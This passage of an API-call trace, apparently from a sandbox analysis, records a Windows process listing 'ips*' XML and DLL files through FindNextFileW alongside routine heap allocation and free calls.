RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e1e8 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cea8 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e208 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cf30 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e228 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cfb8 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e248 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d040 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e268 [0047.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d0c8 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e288 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d150 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e2a8 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d1d8 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e2c8 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d260 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xf870d0 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8e690) returned 1 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e2e8 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d2e8 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e308 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d370 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e328 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d3f8 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e348 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d480 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e368 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d508 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e388 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d590 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e3a8 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d618 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e3c8 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d6a0 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e3e8 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d728 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 